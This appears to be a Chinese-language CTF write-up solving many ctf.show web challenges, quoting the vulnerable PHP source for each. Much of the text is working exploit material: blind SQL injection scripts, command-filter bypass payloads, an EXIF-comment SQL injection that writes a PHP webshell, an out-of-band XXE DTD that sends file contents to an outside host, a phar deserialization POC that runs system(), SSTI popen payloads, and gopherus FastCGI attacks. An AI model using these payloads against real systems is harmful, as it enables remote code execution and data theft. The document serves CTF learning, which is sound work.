$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

最简单的一集,不能有空格,不能有上面的关键词

ctf里读取文件相关知识点总结

空格可以用<或者制表符(Tab)代替,读取直接nl

1
2
?get_flag=nl</flag
?get_flag=nl /flag

Login_Only_For_36D

F12提示

image-20240206210743134

name参数里必须带admin,fuzz之后被ban了挺多

1
['&', "'", '-', ';', '<', '=', '>', '|', ' ', 'select', 'union', 'updatexml', 'floor', 'rand', 'substr', 'mid', 'ascii', 'and', '||', '&&']

可以利用/,将admin后面的'注释掉,达到这样的效果

1
2
3
name=1\&pass=test
->
select * from 36d_user where username='1\' and password='test';

传入数据库查询的username即为1\' and password=,由于无回显,盲注即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://9420c6ec-8845-43b4-b94f-e1aa0543c453.challenge.ctf.show/index.php"
username = "admin\\"
alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""
for i in range(1, 30):
for al in alphabet:
a_int = ord(al)
data = {
'username': username,
'password': f"or/**/if((ord(right(left(password,{i}),1))/**/in/**/({a_int})),sleep(3),1)#"
}
try:
r = requests.post(url, data=data, timeout=3)
except:
flag += chr(a_int)
print(flag)

你取吧

1
2
3
4
5
6
7
8
9
10
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");

要求不使用字母取反异或echo出东西,解法很多

预期解是访问$_中的键值拼接,最后用${}构成$hint

1
?code=${$_{7}.$_{8}.$_{12}.$_{19}}

还有P牛的无数字webshell也能打

一些不包含数字和字母的webshell

无字母数字webshell之提高篇

拿到zip源码,经过phpjiami跑过一遍

还是P牛

phpjiami 数种解密方法

hook eval的插件没成功,dump出来的

image-20240207152255636

1
2
3
4
5
6
?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>
<?php

就是assert($_POST[7-1]);)

1
2
POST
6=system('cat /flag');

网上还抄了个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}

function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}

function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}

$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

WUSTCTF_朴实无华_Revenge_Revenge

只有level1和getflag改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

只允许0-9.还加了$num != $numPositve就是要传入的num和intval处理后的num相等,

利用php浮点精度

浮点数的字长和平台相关,尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度(64 位 IEEE 格式)。

警告

浮点数的精度

浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。

此外,以十进制能够精确表示的有理数如 0.10.7,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118...

所以永远不要相信浮点数结果精确到了最后一位,也永远不要比较两个浮点数是否相等。如果确实需要更高的精度,应该使用任意精度数学函数或者 gmp 函数

参见» 浮点数指南网页的简单解释。

1
2
3
var_dump(1.000000000000001 == 1);         # bool(false)
var_dump(1.0000000000000001 == 1); # bool(true)
var_dump(1.0000000000000001 === 1); # bool(false)

为了绕过回文,后边再加一个0

1
?num=1000000000000000.00000000000000010

getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

把nl给ban了,继续抄🐶爹的

ctf里读取文件相关知识点总结

空格用<或者%09,读取用base64或者ca\tphp换成ph\p

1
?get_flag=base64<flag.ph\p

你没见过的注入

这题也真够抽象的,确实是没见过😅

先说不用扫,结果还是要访问robots.txt,拿到重置密码的网址/pwdreset.php

直接重置密码,进去是个文件上传,无过滤

文件上传后,在后端会被重命名+压缩处理,无利用空间,只有个filetype进行提示

传个php->filetype:PHP script, ASCII text, with CRLF line terminators

看了源码才知道限制了10k

这里考的是EXIF信息中comment字段注入,这个字段会存入数据库,finfo->file()再在后面输出这个信息,造成了sql注入漏洞,先去网上下载一个exiftool工具 ——> https://exiftool.org/

可以编辑图片的的EXIF信息

payload:

1
>./exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';#" 1.jpg
1
>hex(<?=$_POST[0];)=0x3C3F3D60245F504F53545B305D603B

不知道哪试出来的从exif信息里注

upload源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}

if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}

mysqli_close($con);

}

?>

本地复现一下

image-20240208234314671

签到_观己

日志包含

web1_观字

1
2
3
4
5
6
7
8
9
10
11
12
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}

限制死了http协议,不给用各种特殊字符

本来想着自己的域名转发到192.168.7.68,但是还是会有.,ip转10进制或者16进制都会出现0

image-20240209145109405

curl可以用代替.

image-20240209145234588

1
?url=http://192。168。7。68/flag

web2_观星

fuzz一下

1
['!', '"', "'", '+', ',', '=', '`', '|', '~', ' ', 'union', 'rand', 'ascii', 'and', '||', 'sleep', 'benchmark', 'rlike', 'like']

才看出来是int类型盲注,单双引号被ban了,表名可以用16进制代替

逗号被ban用from+for,但是if就彻底没法用了,所以用case when [express] then [x] else [y] end代替

ascii直接换用ord

直接脚本跑,估计sqlmap只会更快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests

url = "http://c11b6d04-1817-4495-a58d-96b02ab819f5.challenge.ctf.show/index.php?id="
alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
flag = ""


def get_database_name():
database = ""
for i in range(1, 5):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr(database()/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
database = database + chr(mid)


def get_table_name():
table = ""
for i in range(1, 20):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database()))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
table = table + chr(mid)
print(table)


def get_column_name():
column = ""
for i in range(1, 20):
min = 48
max = 122
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167))/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
column = column + chr(mid)
print(column)


def get_data():
flag = ""
for i in range(1, 50):
min = 33
max = 127
mid = int((min + max) / 2)
while max >= min:
payload = f"case/**/when/**/ord(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{i}/**/for/**/1))<{mid}/**/then/**/1/**/else/**/0/**/end"
burpurl = url + payload
re = requests.get(burpurl)
if "If" in re.text:
max = mid - 1
else:
min = mid + 1
mid = int((min + max) / 2)
flag = flag + chr(mid)
print(flag)


# get_database_name()
# get_table_name()
# get_column_name()
get_data()

web3_观图

跳转showImage.php

1
2
3
4
5
6
7
8
9
10
11
12
13
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}

使用随机生成的key解密image,一段能被正确解析的密文为Z6Ilu83MIDw=,只要猜出原文是什么,就可以通过碰撞出key,然后使用encrypt进行读取了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
set_time_limit(0);
$r = 0;
while (True){
while (ob_get_level()) {
ob_end_flush();
}
$t = rand();
if ($r<$t){
$r = $t;
echo $t."<br>";
}
}
//经过碰撞大概可以知道rand的范围为0-2147483647(梅森素数)

写个加密碰撞脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
set_time_limit(0);
$pass = "Z6Ilu83MIDw=";
for ($i=0;$i<=2147483647;$i++){
while (ob_get_level()) {
ob_end_flush();
}
$key = substr(md5('ctfshow'.$i),3,8);
if (preg_match('/jpg|gif|png/',(openssl_decrypt($pass, 'bf-ecb', $key)))){
echo $i.$key."<br>";
}
}
//碰出来27347
1
2
3
4
5
6
<?php
highlight_file(__FILE__);
set_time_limit(0);
$file = "config.php";
$key = substr(md5('ctfshow'."27347"),3,8);
echo openssl_encrypt($file, 'bf-ecb', $key);

web4_观心

点击占卜访问api.php,看一眼负载一眼xxe

image-20240215180430368*

一篇文章带你深入理解漏洞之 XXE 漏洞

XXE漏洞利用技巧:从XML到远程代码执行

test.dtd

1
2
3
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe "<!ENTITY &#37; xxe SYSTEM 'http://ip/%file;'>">
%xxe;

evil.xml

1
2
3
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data SYSTEM "http://ip/test.dtd">
<test></test>

直接调用xml就行

这题不知道什么原因,在远程调用<!ENTITY &#37; xxe SYSTEM 'http://ip/%file;'>没有实际访问出来,导致在远程没法读出来,但是可以利用file:///flag.txt读到的换行符造成loadXML()报错回显

image-20240215195634279

参考

如果使用base64后的结果,不会报错,但同时并没有请求出来

web1_此夜圆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);

一眼丁真,变长度反序列化绕过

1
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

hint

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}

要求$a是数字,长度小于7,非零且平方运算等于零

可以猜测大概是使用科学计数法来打

Minimum evaluatable scientific value?

由于php中双精度存储的限制,1E-323会以float(9.8813129168249E-323)的形式存储,当下探一位到1E-324时,精度不满足就到了float(0)

所以只要令$a=1E-162即可

md2注意到hint内容,联想到md5的弱类型比较,肯定是要0exxxxx == 0exxxx的类型

这个hint给的也💩,实际上应该是这样

1
2
$b = xxxxx024452    hash("md2",$b)
$c = xxxxxx48399 hash("md2",hash("md2",$c))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Hash import MD2

b = "024452"
c = "48399"
num = "0123456789"
for i in num:
for j in num:
for k in num:
for q in num:
payload2 = "0e" + i + j + k + q + c
md2_hash_2 = MD2.new(payload2.encode()).hexdigest()
md2_hash_3 = MD2.new(md2_hash_2.encode()).hexdigest()
if md2_hash_3[:2] == '0e' and md2_hash_3[2:].isdigit():
print("2:" + payload2)
payload1 = "0e" + i + j + k + b
md2_hash_1 = MD2.new(payload1.encode()).hexdigest()
if md2_hash_1[:2] == '0e' and md2_hash_1[2:].isdigit():
print("1:" + payload1)

->
2:0e603448399
1:0e652024452

第三步提示flag in /fl0g.txt,要求传入能过URL筛选器的字符

file_get_contents有个点就是,当传入的伪协议头未知时,当做文件夹操作

1
2
url=httpt://ctfshow.com/../../../../../../../../fl0g.txt
http变为httpt这个未知协议

web3_莫负婵娟

1
2
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

fuzz一下

1
['"', '#', '%', "'", '(', ',', '-', '\\', '^', 'select', 'union', 'sleep']

单双引号和反斜杠都被过滤了,肯定绕不过了

由于这里用的特殊匹配方法like

like有两个模式:_和%

_:表示单个字符,用来查询定长的数据

%:表示0个或多个任意字符

1
2
3
4
>(1)SELECT * FROM Persons  WHERE City LIKE 'N%'     "Persons" 表中选取居住在以 "N" 开始的城市里的人
>(2)SELECT * FROM Persons WHERE City LIKE '%g' "Persons" 表中选取居住在以 "g" 结尾的城市里的人
>(3)SELECT * FROM Persons WHERE City LIKE '%lon%' 从 "Persons" 表中选取居住在包含 "lon" 的城市里的人
>(4)SELECT * FROM Persons WHERE City NOT LIKE '%lon%' 从 "Persons" 表中选取居住在不包含 "lon" 的城市里的人

password里塞32个_,能模糊匹配,打出回显:I have filtered all the characters. Why can you come in? get out!

跑个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string

import requests

url = "http://10e8ff00-4077-42a3-9cbc-b9b6fe7ff911.challenge.ctf.show/login.php"
length = 32
tables = string.printable
password = ""
for i in range(length):
for table in tables:
payload = password + table + "_" * (length - i - 1)
r = requests.post(url, data={
"username": "yu22x",
"password": payload
})
if "wrong username or password" not in r.text:
password = password + table
print(password)
break

进去是个ip测试,自己起个发现是使用curl

image-20240216230905126

fuzz一下过滤了全部小写字母

1
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '"', '%', '&', "'", '(', ')', '*', '+', ',', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '|', '\t', '\n']

剩下可用的

1
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '#', '$', '.', ':', ';', '?', '@', '_', '{', '}', '~', ' ', '\r', '\x0b', '\x0c']

hint

1
环境变量 +linux字符串截取 + 通配符

ctf里读取文件相关知识点总结

里面提到过空格/被过滤可以使用${PATH:0:1}来代替,同理,我们要执行的也可以用这个来代替

image-20240216232730176

image-20240216232913174

1
ip=127.0.0.1;${PATH:5:1}${PATH:2:1}->ls
1
ip=127.0.0.1;${PATH:14:1}${PATH:5:1} ????.???->nl ????.???

1024_WEB签到

1
2
3
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

可见是没有参数能传入的,也没法无参rce

直接去phpinfo找

image-20240218162630417

调用就行

1024_fastapi

fastapi,dirsearch扫出手册/docs

由python写出来的后端,尝试有回显的函数str(123)返回123

尝试ssti

Python模板注入(SSTI)深入学习

1
q=str("".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())

先读源码main.py,提示flag位置,还ban了一些

1
'import','open','eval','exec'

1024_柏拉图

首页要求输入url,试了http协议报错,试到file协议不报错,后面是双写绕过

读一下源文件

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-19 20:09:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>

readfile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>

unlink.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>

看到有个class.phpreadfile函数,一眼phar反序列化

php反序列化拓展攻击详解–phar

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class A {
public $a;
// public function __construct($a)
// {
// $this->a = $a;
// }
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
// public function __construct($b)
// {
// $this->b = $b;
// }
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
// public function __construct($c)
// {
// $this->c = $c;
// }
public function __invoke()
{
return eval($this->c);
}
}
$A = new A('');
$B = new B('');
$C = new C('');
$A->a = $B;
$B->b = $C;
$C->c = 'system("cat /ctfshow_1024_flag.txt");';
$phar = new Phar('cat.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($A);
$phar -> stopBuffering();

上传直接用compress.zlib://phar://

1024_图片代理

自动跳转

1
?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w

base64解码是个图片地址,直接换用file协议能读passwd

嗅探到nginx,读一下配置文件/etc/nginx/conf.d/default.conf

image-20240220175037927

网站目录/var/www/bushihtml,fastcgi开在9000端口

直接gopher打

1
python gopherus.py --exploit fastcgi

image-20240220175154791

1024_hello_world

看起来像ssti,fuzz一下

1
["'", '.', '_', '\r', '\x0b', '\x0c', '{{']

被ban了就没法直接打回显了

但是可以用{%print(...)%}代替

也有更麻烦的用{% if ... %}1{% endif %}盲注

这里选用{%print(...)%}

以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用

1
2
3
key={%print(()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat /c*")["read"]())%}

'_'hex编码->'\x5f',也可以换用unicode

主要就是用()["\x5f\x5fclass\x5f\x5f"]来代替().__class__

原谅4

看起来很简单

1
<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);

但是进去才知道命令基本不可用,bin里面只有ls rm sh这三条命令可用

但是还有一种利用报错读取来读到文件内容

如果有读取文件的权限

1
echo `. /f* 2>&1` -urlencode> echo `. /f* 2>%261`

如果有执行文件的权限

1
echo `/f* 2>&1` -urlencode> echo `/f* 2>%261`

无非就是一个用了sh执行shell脚本的区别

原谅5_fastapi2

严格意义来说不是ssti,fuzz一下,过滤了

1
['import', 'open', 'eval', 'exec', 'class', ''', '"', 'vars', 'str', 'chr']

除了之前用的str可以造成回显,list同样也可以打出回显

可以直接用list(globals())看到当前的全局变量

image-20240222153114837

比较特殊的就是其中的youdontknow,直接进去看就能知道这是banlist

而且属性应该是list

